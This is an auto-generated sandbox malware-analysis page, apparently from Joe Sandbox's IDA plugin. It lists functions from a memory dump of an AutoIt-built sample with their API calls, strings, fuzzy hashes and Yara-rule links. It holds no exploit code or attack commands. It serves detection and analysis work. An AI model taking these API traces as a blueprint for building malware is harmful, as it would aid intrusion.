Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 6a7f2f44e3dfa1e0f2c5565c505da9c7ba60c234eb7f75a261b437aa01891247
Instruction ID: fe460b1ae879b523dda01258ccabb47bd9ae0c5016dc5e2bfe9e481e68c664ed
Opcode Fuzzy Hash: 6a7f2f44e3dfa1e0f2c5565c505da9c7ba60c234eb7f75a261b437aa01891247
Instruction Fuzzy Hash: 41112A31D44518DBCF04AFA5E949AFEBB75FF09751F018055E942B3241CB3095A0CB99

Function 001A5BA2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 001A5BC6

Part of subcall function 001A62A5: __fltout2.LIBCMT ref: 001A62CE

__cftog_l.LIBCMT ref: 001A5BEC
__cftoe_l.LIBCMT ref: 001A5C1E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 98249eaa636489f9ca9f8bf23487d60e480fd5f4e3abd4aaf28513148c9a2c1b
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: CF014E7A00464EBBCF165E84DC41CEE3F67BB1A360B598415FA1859035D336CAB1AB81

Function 001980E2 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0019869D: __getptd_noexit.LIBCMT ref: 0019869E

__lock.LIBCMT ref: 0019811F
InterlockedDecrement.KERNEL32(?), ref: 0019813C
_free.LIBCMT ref: 0019814F
InterlockedIncrement.KERNEL32(013F5FB0), ref: 00198167

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 48dbf9cf9d439a0ab9d7c409a01c1afbf79cbe951bacc3691538dbdb10df283b
Instruction ID: 07886e3ffd25ae236530f232cbfb46469337b82cfd3181909a40a7bf82073e3c
Opcode Fuzzy Hash: 48dbf9cf9d439a0ab9d7c409a01c1afbf79cbe951bacc3691538dbdb10df283b
Instruction Fuzzy Hash: 2A015231901622AFCF25AFA5A80A7AD7760BF06715F050169F81467A91CF346943CBD2

Function 00198724 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00198768

Part of subcall function 00198984: __mtinitlocknum.LIBCMT ref: 00198996
Part of subcall function 00198984: RtlEnterCriticalSection.NTDLL(00190127), ref: 001989AF

InterlockedIncrement.KERNEL32(DC840F00), ref: 00198775
__lock.LIBCMT ref: 00198789
___addlocaleref.LIBCMT ref: 001987A7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: bdb65039dd75d0f4e632a9d7f89551d4654b5cdee7efb27165b5c126f480fe21
Instruction ID: 9952974421bac3488edab8d53abd3cfeaea8585525b9347608666f66b2c7ae29
Opcode Fuzzy Hash: bdb65039dd75d0f4e632a9d7f89551d4654b5cdee7efb27165b5c126f480fe21
Instruction Fuzzy Hash: 71016D71410B00EFDB20EFA5D809759F7E0BF60325F20890EE099976E0DB70A640CB02

Function 001B9C73 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 001B9C7F

Part of subcall function 001BAD14: _memset.LIBCMT ref: 001BAD49

_memmove.LIBCMT ref: 001B9CA2
_memset.LIBCMT ref: 001B9CAF
RtlLeaveCriticalSection.NTDLL(?), ref: 001B9CBF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 2c2f9888afdd16fa62303a47ff4956785232cb63efd00832279333c2b21ca4b8
Instruction ID: 8be53f23094c70666f684f34e45497167e8a3931d38046cb45fdbbc8d13ad855
Opcode Fuzzy Hash: 2c2f9888afdd16fa62303a47ff4956785232cb63efd00832279333c2b21ca4b8
Instruction Fuzzy Hash: D4F03A7A200000ABCF016F54EC85A9ABB2AEF55320B08C066FE089E227C775E951DBB5

Function 001DE83C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0018B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0018B5EB
Part of subcall function 0018B58B: SelectObject.GDI32(?,00000000), ref: 0018B5FA
Part of subcall function 0018B58B: BeginPath.GDI32(?), ref: 0018B611
Part of subcall function 0018B58B: SelectObject.GDI32(?,00000000), ref: 0018B63B

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 001DE860
LineTo.GDI32(00000000,?,?), ref: 001DE86D
EndPath.GDI32(00000000), ref: 001DE87D
StrokePath.GDI32(00000000), ref: 001DE88B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: ef3103dfa442bbda754ca67bbfd4375d0ecb4ae051c2ba95cc515d6e244b3cf4
Instruction ID: 2301cc3ef06b05b09856c34093a39db23a77d350dc39584c61150aa38fe0120a
Opcode Fuzzy Hash: ef3103dfa442bbda754ca67bbfd4375d0ecb4ae051c2ba95cc515d6e244b3cf4
Instruction Fuzzy Hash: ADF0E231005259BBDB122F50BC0DFEE3F9AAF06311F008101FA01241E18B7946A2DFA9

Function 001AD623 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 001AD640
GetWindowThreadProcessId.USER32(?,00000000), ref: 001AD653
GetCurrentThreadId.KERNEL32 ref: 001AD65A
AttachThreadInput.USER32(00000000), ref: 001AD661

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 503628e04e596cf9191305c5919ceec4450d20ef93bbbed51d5db79d6c41502d
Instruction ID: fcff1cf33845a0802db2de649c98ea89962b4ec35370c23eda2734dae415d2eb
Opcode Fuzzy Hash: 503628e04e596cf9191305c5919ceec4450d20ef93bbbed51d5db79d6c41502d
Instruction Fuzzy Hash: C5E03971101228BADB201BA2BC0DEFB7F1EEF567B1F408010B50DC5861CB719580CBA0

Function 0018B0AC Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0018B0C5
SetTextColor.GDI32(?,000000FF), ref: 0018B0CF
SetBkMode.GDI32(?,00000001), ref: 0018B0E4
GetStockObject.GDI32(00000005), ref: 0018B0EC
GetWindowDC.USER32(?,00000000), ref: 001EECFA
GetPixel.GDI32(00000000,00000000,00000000), ref: 001EED07
GetPixel.GDI32(00000000,?,00000000), ref: 001EED20
GetPixel.GDI32(00000000,00000000,?), ref: 001EED39
GetPixel.GDI32(00000000,?,?), ref: 001EED59
ReleaseDC.USER32(?,00000000), ref: 001EED64

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 09b4b44ecec9d4b8593fa994d8356125317ebfe8b4d3defadd3374e6382c2e15
Instruction ID: d5682fd6d7b38c1bb88a706712e2d1a031b0905512d0ad5eef6abf05a384186f
Opcode Fuzzy Hash: 09b4b44ecec9d4b8593fa994d8356125317ebfe8b4d3defadd3374e6382c2e15
Instruction Fuzzy Hash: E8E0ED31504680AEEF215F75BC4D7AC3B62AB56336F148266F66A580E2C7714580DB11

Function 001EC0A0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 001EC0A0
GetDC.USER32(00000000), ref: 001EC0AA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001EC0C9
ReleaseDC.USER32 ref: 001EC0E8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: b0b763f9b958939423c68f3787744f6a8de392326294307a5ff1bb8d154b16d8
Instruction ID: 8cb87510e11899d4a924bccc771bb21e1c1581127bad8b3b726d58b0dd9df3d9
Opcode Fuzzy Hash: b0b763f9b958939423c68f3787744f6a8de392326294307a5ff1bb8d154b16d8
Instruction Fuzzy Hash: EAE012B5500204EFDB006F70AC4CA7D3BEAEB48361F128805F84ACB650DBB49981CF40

Function 001EC0B4 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 001EC0B4
GetDC.USER32(00000000), ref: 001EC0BE
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001EC0C9
ReleaseDC.USER32 ref: 001EC0E8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: ef6249d58d09966cbd4a14acf00e7d1e4d3553839c627a9ed38ffd30d6efb508
Instruction ID: c498d49344d932b04017859ebffb6a368e718ab39ec648b8524ac972e07e3d3b
Opcode Fuzzy Hash: ef6249d58d09966cbd4a14acf00e7d1e4d3553839c627a9ed38ffd30d6efb508
Instruction Fuzzy Hash: 59E092B5540204AFDB016F70AC4C67D7BEAEB48361F118415F94ACB651DBB99A81CF50

Function 001F2350 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 475COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001767D0

Strings

DEFINE, xrefs: 001F265C
>, xrefs: 001F2414

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID: >$DEFINE
API String ID: 4104443479-1664449232
Opcode ID: 3e55a8ea5806998577a29d468e00e95d11c4be55f5fa5a10e50ccaf712ba512f
Instruction ID: 786c086abe0949e1cd59193854084b179ebcc551d097a405f8ca8d2c9d6fe51b
Opcode Fuzzy Hash: 3e55a8ea5806998577a29d468e00e95d11c4be55f5fa5a10e50ccaf712ba512f
Instruction Fuzzy Hash: A5126C75A0020ADFCF24CF98C490ABDB7B1FF48314F25815AE959AB395D774AD81CB90

Function 001AEAD5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 001AECA0

Strings

AutoIt3GUI, xrefs: 001AEC18
Container, xrefs: 001AEC1F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: beca8a8361e48a31285d74944d2e0a73b11e689dea62aa3839a4442a4c4f66b2
Instruction ID: 5e18b8209bde16d26f9e91c51c9d893e2f86036b790b70bbbc386b9cbb7ea133
Opcode Fuzzy Hash: beca8a8361e48a31285d74944d2e0a73b11e689dea62aa3839a4442a4c4f66b2
Instruction Fuzzy Hash: 4F910874600701EFDB14DFA4C884B6ABBF5BF49710B14856DE94ADB291DBB1E841CB60

Function 001BE704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00173BCF: _wcscpy.LIBCMT ref: 00173BF2

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

__wcsnicmp.LIBCMT ref: 001BE785
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 001BE84E

Strings

LPT, xrefs: 001BE77F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 504a4ae00cb4964c0a898435ec402024d74b2b77cbf84fe947241d6740bedecd
Instruction ID: 63b1fd0c69967a57f2e93d6970cd56ca26eff998c92977ebdda2b34dcd940350
Opcode Fuzzy Hash: 504a4ae00cb4964c0a898435ec402024d74b2b77cbf84fe947241d6740bedecd
Instruction Fuzzy Hash: 45616F75A00615AFCB18EF94C895EEEB7F8EF18310F158069F546AB391DB70AE40CB91

Function 00171B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00171B83
GlobalMemoryStatusEx.KERNEL32 ref: 00171B9C

Strings

@, xrefs: 00171B91

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: f23f8404488bfbbf4ff121cba41646e097422b28d422b602a9804d48198bfef8
Instruction ID: 2bd9c1543966d63d9f1655f7e4a32f51ab49d68275432c97e668c1ed8f97d7c1
Opcode Fuzzy Hash: f23f8404488bfbbf4ff121cba41646e097422b28d422b602a9804d48198bfef8
Instruction Fuzzy Hash: D8516A71408744ABE321AF54D889BAFBBECFFA9354F81484DF5C8410A1EB71856DCB62

Function 001BCE59 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 0017417D: __fread_nolock.LIBCMT ref: 0017419B

_wcscmp.LIBCMT ref: 001BCF49
_wcscmp.LIBCMT ref: 001BCF5C

Strings

FILE, xrefs: 001BCE91

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: a0c5f0199fa971ccb5a1f70b77f89dfbe6cd60a7f980ef7c8ff99fa15e2d5b24
Instruction ID: 5878907074e08960f294562a0928c1bfef675ee80100abf02acecc8ad6ea83e9
Opcode Fuzzy Hash: a0c5f0199fa971ccb5a1f70b77f89dfbe6cd60a7f980ef7c8ff99fa15e2d5b24
Instruction Fuzzy Hash: 8D41D432A00219BBDF11EBA4CC81FEFBBBA9F59710F000469F615E7191D771AA44C790

Function 001DA578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 001DA668
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001DA67D

Strings

', xrefs: 001DA5D1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 5b0b1f22ec1b2fb7b621feb2567a890d0b57534b2ceaf1f6bcfd2cb344b936bf
Instruction ID: 11b18b67f1c290ef989d7d1371e7bd81b197c8337a82009aa63e9b5a59976ef5
Opcode Fuzzy Hash: 5b0b1f22ec1b2fb7b621feb2567a890d0b57534b2ceaf1f6bcfd2cb344b936bf
Instruction Fuzzy Hash: F541E575A00209DFDB14CF68D881BDA7BB5BF09300F54456AE909AB381D770E952CFA1

Function 001C57D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001C57E7
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 001C581D

Strings

|, xrefs: 001C580C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
